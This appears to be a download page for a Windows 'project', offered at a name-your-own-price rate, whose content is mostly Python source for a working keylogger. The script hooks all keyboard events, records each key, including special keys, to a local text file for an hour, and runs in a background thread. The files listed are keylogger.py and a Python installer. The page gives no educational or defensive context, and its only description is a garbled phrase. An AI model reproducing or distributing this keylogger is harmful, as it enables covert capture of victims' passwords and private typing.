A downloadable project for Windows

Download NowName your own price

eve ako os jbg

import keyboard

import time

import threading

# Function to start keylogger

def start_keylogger():

    # Define the file to save keystrokes

    file_path = "keystrokes.txt"

   
    # Open the file in append mode

    with open(file_path, "a") as f:

        f.write("Keylogger started...\n")

   
    # Function to log keystrokes

    def log_keystroke(event):

        # Get the name of the key

        key = event.name

       
        # Handle special keys

        if len(key) == 1:

            # Check if the key is printable

            if event.event_type == keyboard.KEY_DOWN:

                # Write the key to the file

                with open(file_path, "a") as f:

                    f.write(key)

        elif key == "space":

            # Write "space" instead of actual space character

            with open(file_path, "a") as f:

                f.write("space")

        else:

            # Write the special key name to the file

            with open(file_path, "a") as f:

                f.write(f"[{key}]")

    # Hook the keyboard events

    keyboard.hook(log_keystroke)

   
    # Run the keylogger for 1 hour (3600 seconds)

    time.sleep(3600)

   
    # Unhook the keyboard events after 1 hour

    keyboard.unhook_all()

   
    # Notify that keylogging has stopped

    with open(file_path, "a") as f:

        f.write("\nKeylogger stopped...\n")

# Start the keylogger in a separate thread

keylogger_thread = threading.Thread(target=start_keylogger)

keylogger_thread.start()

Download

Download NowName your own price

Click download now to get access to the following files:

keylogger.py 1 kB
python-3.8.10.exe 25 MB